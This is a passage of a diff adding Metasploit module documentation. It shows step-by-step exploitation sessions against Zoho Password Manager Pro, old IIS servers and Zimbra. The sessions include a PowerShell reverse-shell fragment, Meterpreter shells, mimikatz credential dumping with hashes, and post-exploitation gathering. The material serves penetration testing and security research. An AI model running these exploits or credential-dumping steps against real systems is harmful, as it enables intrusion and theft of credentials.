} if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
|
||||
[*] Command shell session 1 opened (172.17.255.112:8899 -> 172.17.245.94:56612) at 2022-08-02 11:37:28 -0500
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.22000.795]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>
|
||||
-----
|
||||
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Program Files\ManageEngine\PMP\bin>background
|
||||
|
||||
Background session 1? [y/N] y
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172.
|
||||
2000.795] (c) Microsoft Corpo... 17.245.94)
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1
|
||||
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
|
||||
|
||||
[*] Upgrading session ID: 1
|
||||
[*] Starting exploit/multi/handler
|
||||
[*] Started reverse TCP handler on 172.17.255.112:4433
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) >
|
||||
[*] Sending stage (200774 bytes) to 172.17.245.94
|
||||
[*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500
|
||||
[*] Stopping exploit/multi/handler
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10. 172.17.255.112:8899 -> 172.17.245.94:56612 (1
|
||||
0.22000.795] (c) Microsoft Corpo... 72.17.245.94)
|
||||
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1
|
||||
72.17.245.94)
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1
|
||||
-------- ------ ---- ----
|
||||
admin WIN11-TEST 209c6174da490caeb422f3fa5a7ae634 7c87541fd3f3ef5016e12d411900c87a6046a8e8
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
WIN11-TEST$ WORKGROUP (null)
|
||||
admin WIN11-TEST (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
admin WIN11-TEST (null)
|
||||
win11-test$ WORKGROUP (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits a buffer overflow in the request processor of the
|
||||
Internet Printing Protocol ISAPI module in IIS. This module
|
||||
works against Windows 2000 Server and Professional SP0-SP1.
|
||||
|
||||
If the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional SP0 (Dutch)
|
||||
* Windows 2000 Professional SP0 (Finnish)
|
||||
* Windows 2000 Professional SP0 (Greek)
|
||||
* Windows 2000 Professional SP0 (Korean)
|
||||
* Windows 2000 Professional SP0 (Turkish)
|
||||
* Windows 2000 Professional SP1 (Arabic)
|
||||
* Windows 2000 Professional SP1 (Czech)
|
||||
* Windows 2000 Professional SP1 (English)
|
||||
* Windows 2000 Professional SP1 (Greek)
|
||||
* Windows 2000 Server SP0 (Chinese)
|
||||
* Windows 2000 Server SP0 (Dutch)
|
||||
* Windows 2000 Server SP0 (English)
|
||||
* Windows 2000 Server SP0 (German)
|
||||
* Windows 2000 Server SP0 (Hungarian)
|
||||
* Windows 2000 Server SP0 (Italian)
|
||||
* Windows 2000 Server SP0 (Portuguese)
|
||||
* Windows 2000 Server SP0 (Spanish)
|
||||
* Windows 2000 Server SP0 (Turkish)
|
||||
* Windows 2000 Server SP1 (English)
|
||||
* Windows 2000 Server SP1 (French)
|
||||
* Windows 2000 Server SP1 (Swedish)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms01_023_printer`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `show targets` to see the possible targets
|
||||
1. `set TARGET [TARGET]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP1 (EN)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms01_023_printer
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
|
||||
rhosts => 192.168.200.195
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > check
|
||||
[*] 192.168.200.195:80 - The target appears to be vulnerable.
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 2000 SP0-SP1 (Arabic)
|
||||
1 Windows 2000 SP0-SP1 (Czech)
|
||||
2 Windows 2000 SP0-SP1 (Chinese)
|
||||
3 Windows 2000 SP0-SP1 (Dutch)
|
||||
4 Windows 2000 SP0-SP1 (English)
|
||||
5 Windows 2000 SP0-SP1 (French)
|
||||
6 Windows 2000 SP0-SP1 (Finnish)
|
||||
7 Windows 2000 SP0-SP1 (German)
|
||||
8 Windows 2000 SP0-SP1 (Korean)
|
||||
9 Windows 2000 SP0-SP1 (Hungarian)
|
||||
10 Windows 2000 SP0-SP1 (Italian)
|
||||
11 Windows 2000 SP0-SP1 (Portuguese)
|
||||
12 Windows 2000 SP0-SP1 (Spanish)
|
||||
13 Windows 2000 SP0-SP1 (Swedish)
|
||||
14 Windows 2000 SP0-SP1 (Turkish)
|
||||
15 Windows 2000 Pro SP0 (Greek)
|
||||
16 Windows 2000 Pro SP1 (Greek)
|
||||
|
||||
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
|
||||
payload => windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Using target: Windows 2000 SP0-SP1 (English) ...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.195
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
```
|
||||
@@ -0,0 +1,71 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will execute an arbitrary payload on a Microsoft IIS installation
|
||||
that is vulnerable to the CGI double-decode vulnerability of 2001.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional (SP0) (EN)
|
||||
* Windows 2000 Professional (SP1) (AR)
|
||||
* Windows 2000 Professional (SP1) (CZ)
|
||||
* Windows 2000 Server (SP0) (FR)
|
||||
* Windows 2000 Server (SP1) (EN)
|
||||
* Windows 2000 Server (SP1) (SE)
|
||||
|
||||
Note: This module will leave a Metasploit payload in the IIS scripts directory.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms01_026_dbldecode`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### WINDIR
|
||||
|
||||
The Windows directory name of the target host.
|
||||
The directory name will be detected automatically if not set.
|
||||
|
||||
### DEPTH
|
||||
|
||||
Traversal depth to reach the drive root (default: `2`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Server (SP0) (FR)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms01_026_dbldecode
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175
|
||||
rhosts => 192.168.200.175
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > check
|
||||
[+] 192.168.200.175:80 - The target is vulnerable. Found Windows directory name: winnt
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms01_026_dbldecode) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Using Windows directory "winnt"
|
||||
[*] Copying "\winnt\system32\cmd.exe" to the IIS scripts directory as "EcFJ.exe"...
|
||||
[*] Command Stager progress - 66.67% done (40/60 bytes)
|
||||
[*] Command Stager progress - 100.00% done (60/60 bytes)
|
||||
[*] Triggering payload "qQErEZeB.exe" via a direct request...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.175
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.175:1090) at 2022-06-28 08:34:32 -0400
|
||||
[!] This exploit may require manual cleanup of 'qQErEZeB.exe' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
c:\inetpub\scripts>hostname
|
||||
hostname
|
||||
win2k-srv-fr
|
||||
```
|
||||
@@ -0,0 +1,90 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module can be used to execute arbitrary code on IIS servers
|
||||
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||||
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
|
||||
exploitable even when RDS is configured to deny remote connections
|
||||
(handsafe.reg). The service is vulnerable to a heap overflow where
|
||||
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
|
||||
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Pro SP0-SP3 (English)
|
||||
* Windows 2000 Pro SP0 (Korean)
|
||||
* Windows 2000 Pro SP0 (Dutch)
|
||||
* Windows 2000 Pro SP0 (Finnish)
|
||||
* Windows 2000 Pro SP0 (Turkish)
|
||||
* Windows 2000 Pro SP0-SP1 (Greek)
|
||||
* Windows 2000 Pro SP1 (Arabic)
|
||||
* Windows 2000 Pro SP1 (Czech)
|
||||
* Windows 2000 Pro SP2 (French)
|
||||
* Windows 2000 Pro SP2 (Portuguese)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms02_065_msadc`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `show targets` to see the possible targets
|
||||
1. `set TARGET [TARGET]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP3 (EN)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms02_065_msadc
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
|
||||
rhosts => 192.168.200.186
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 2000 Pro SP0-SP3 (English)
|
||||
1 Windows 2000 Pro SP0 (Korean)
|
||||
2 Windows 2000 Pro SP0 (Dutch)
|
||||
3 Windows 2000 Pro SP0 (Finnish)
|
||||
4 Windows 2000 Pro SP0 (Turkish)
|
||||
5 Windows 2000 Pro SP0-SP1 (Greek)
|
||||
6 Windows 2000 Pro SP1 (Arabic)
|
||||
7 Windows 2000 Pro SP1 (Czech)
|
||||
8 Windows 2000 Pro SP2 (French)
|
||||
9 Windows 2000 Pro SP2 (Portuguese)
|
||||
|
||||
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > check
|
||||
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.186
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
```
|
||||
@@ -0,0 +1,105 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against SP0 to SP3.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional SP0 (EN)
|
||||
* Windows 2000 Professional SP0 (FI)
|
||||
* Windows 2000 Professional SP0 (NL)
|
||||
* Windows 2000 Professional SP0 (TR)
|
||||
* Windows 2000 Professional SP1 (AR)
|
||||
* Windows 2000 Professional SP1 (CZ)
|
||||
* Windows 2000 Professional SP1 (EN)
|
||||
* Windows 2000 Professional SP2 (EN)
|
||||
* Windows 2000 Professional SP2 (FR)
|
||||
* Windows 2000 Professional SP2 (PT)
|
||||
* Windows 2000 Professional SP3 (EN)
|
||||
* Windows 2000 Server SP0 (DE)
|
||||
* Windows 2000 Server SP0 (EN)
|
||||
* Windows 2000 Server SP0 (ES)
|
||||
* Windows 2000 Server SP0 (FR)
|
||||
* Windows 2000 Server SP0 (HU)
|
||||
* Windows 2000 Server SP0 (NL)
|
||||
* Windows 2000 Server SP0 (PT)
|
||||
* Windows 2000 Server SP0 (TR)
|
||||
* Windows 2000 Server SP1 (EN)
|
||||
* Windows 2000 Server SP1 (SE)
|
||||
* Windows 2000 Server SP2 (EN)
|
||||
* Windows 2000 Server SP2 (RU)
|
||||
* Windows 2000 Server SP3 (DE)
|
||||
* Windows 2000 Server SP3 (IT)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms03_007_ntdll_webdav`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP1 (EN)
|
||||
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195
|
||||
rhosts => 192.168.200.195
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check
|
||||
[+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception)
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Trying return address 0x004e004f (1 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[-] Connection failed (3 of 20)...
|
||||
[-] Connection failed (4 of 20)...
|
||||
[*] Trying return address 0x00ce004f (2 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[*] Trying return address 0x00ce0041 (3 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[-] Connection failed (3 of 20)...
|
||||
[-] Connection failed (4 of 20)...
|
||||
[*] Trying return address 0x00430041 (4 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[*] Trying return address 0x00b40041 (5 / 88)...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.195
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1066) at 2022-07-07 06:13:21 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
|
||||
C:\WINNT\system32>
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
|
||||
|
||||
```
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
10 meterpreter x86/linux zimbra @ zimbra.example.org 10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154)
|
||||
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10
|
||||
SESSION => 10
|
||||
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Executing: sudo -n -l
|
||||
[+] The target is vulnerable.
|
||||
[*] Creating exploit directory: /tmp/.5kq9XO
|
||||
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.5kq9XO/.1wNk1h3
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted /tmp/.5kq9XO
|
||||
[*] Meterpreter session 13 opened (10.0.0.146:4444 -> 10.0.0.154:40044) at 2022-07-21 14:04:12 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### SUDO_PATH
|
||||
|
||||
The path to `sudo` on the host. If we have a proper environment with `$PATH` set, which we generally do, simply `sudo` is fine.
|
||||
|
||||
### ZIMBRA_BASE
|
||||
|
||||
The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`, and I'm not even sure if it _can_ install elsewhere, so this default should be fine.
|
||||
@@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module prints out the operating system environment variables.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/multi/gather/env`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 11 Pro (10.0.22000 N/A Build 22000)
|
||||
|
||||
```
|
||||
msf6 > use post/multi/gather/env
|
||||
msf6 post(multi/gather/env) > set session 1
|
||||
session => 1
|
||||
msf6 post(multi/gather/env) > run
|
||||
|
||||
[*] Running module against WinDev2110Eval (192.168.200.140)
|
||||
ALLUSERSPROFILE=C:\ProgramData
|
||||
APPDATA=C:\Users\User\AppData\Roaming
|
||||
CommonProgramFiles=C:\Program Files\Common Files
|
||||
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
|
||||
CommonProgramW6432=C:\Program Files\Common Files
|
||||
COMPUTERNAME=WINDEV2110EVAL
|
||||
ComSpec=C:\Windows\system32\cmd.exe
|
||||
DriverData=C:\Windows\System32\Drivers\DriverData
|
||||
HOMEDRIVE=C:
|
||||
HOMEPATH=\Users\User
|
||||
LOCALAPPDATA=C:\Users\User\AppData\Local
|
||||
LOGONSERVER=\\WINDEV2110EVAL
|
||||
NUMBER_OF_PROCESSORS=2
|
||||
OneDrive=C:\Users\User\OneDrive
|
||||
OS=Windows_NT
|
||||
Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Program Files\Microsoft SQL Server\130\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Users\User\AppData\Local\Microsoft\WindowsApps;;C:\Users\User\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\User\.dotnet\tools
|
||||
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
|
||||
PROCESSOR_ARCHITECTURE=AMD64
|
||||
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 26 Stepping 5, GenuineIntel
|
||||
PROCESSOR_LEVEL=6
|
||||
PROCESSOR_REVISION=1a05
|
||||
ProgramData=C:\ProgramData
|
||||
ProgramFiles=C:\Program Files
|
||||
ProgramFiles(x86)=C:\Program Files (x86)
|
||||
ProgramW6432=C:\Program Files
|
||||
PROMPT=$P$G
|
||||
PSExecutionPolicyPreference=Bypass
|
||||
PSModulePath=C:\Users\User\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
|
||||
PUBLIC=C:\Users\Public
|
||||
SESSIONNAME=Console
|
||||
SystemDrive=C:
|
||||
SystemRoot=C:\Windows
|
||||
TEMP=C:\Users\User\AppData\Local\Temp
|
||||
TMP=C:\Users\User\AppData\Local\Temp
|
||||
USERDOMAIN=WINDEV2110EVAL
|
||||
USERDOMAIN_ROAMINGPROFILE=WINDEV2110EVAL
|
||||
USERNAME=User
|
||||
USERPROFILE=C:\Users\User
|
||||
windir=C:\Windows
|
||||
[+] Results saved to /root/.msf4/loot/20220731233101_default_192.168.200.140_windows.environm_058721.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will check the file system and registry for particular artifacts.
|
||||
|
||||
The list of artifacts is read in YAML format from `data/post/enum_artifacts_list.txt`
|
||||
or a user specified file. Any matches are written to the loot.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/windows/gather/enum_artifcats`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### ARTIFACTS
|
||||
|
||||
Full path to artifacts file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_artifacts
|
||||
msf6 post(windows/gather/enum_artifacts) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_artifacts) > set verbose true
|
||||
verbose => true
|
||||
msf6 post(windows/gather/enum_artifacts) > run
|
||||
|
||||
[*] Searching for artifacts of test_evidence
|
||||
[*] Processing 2 file entries for test_evidence ...
|
||||
[*] Processing 2 registry entries for test_evidence ...
|
||||
[*] Artifacts of test_evidence found.
|
||||
Evidence of test_evidence found.
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI\DisplayName
|
||||
|
||||
[+] Enumerated Artifacts stored in: /root/.msf4/loot/20220807015628_default_192.168.200.190_enumerated.artif_933981.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -1,64 +1,61 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate current and recently logged on Windows users.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get meterpreter session
|
||||
3. Do: ```use post/windows/gather/enum_logged_on_users```
|
||||
4. Do: ```set SESSION <session id>```
|
||||
5. Do: ```run```
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_logged_on_users`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**CURRENT**
|
||||
### CURRENT
|
||||
|
||||
Enumerate currently logged on users. Default: ```true```
|
||||
Enumerate currently logged on users. (default: `true`)
|
||||
|
||||
**RECENT**
|
||||
### RECENT
|
||||
|
||||
Enumerate Recently logged on users. Default: ```true```
|
||||
Enumerate recently logged on users. (default: `true`)
|
||||
|
||||
**SESSION**
|
||||
|
||||
The session to run this module on.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1).
|
||||
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
|
||||
|
||||
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
|
||||
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_logged_on_users) > run
|
||||
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
|
||||
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_logged_on_users) > run
|
||||
|
||||
[*] Running against session 1
|
||||
[*] Running module against TEST-PC (192.168.1.10)
|
||||
|
||||
Current Logged Users
|
||||
====================
|
||||
Current Logged Users
|
||||
====================
|
||||
|
||||
SID User
|
||||
--- ----
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
|
||||
SID User
|
||||
--- ----
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
|
||||
|
||||
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
|
||||
|
||||
Recently Logged Users
|
||||
=====================
|
||||
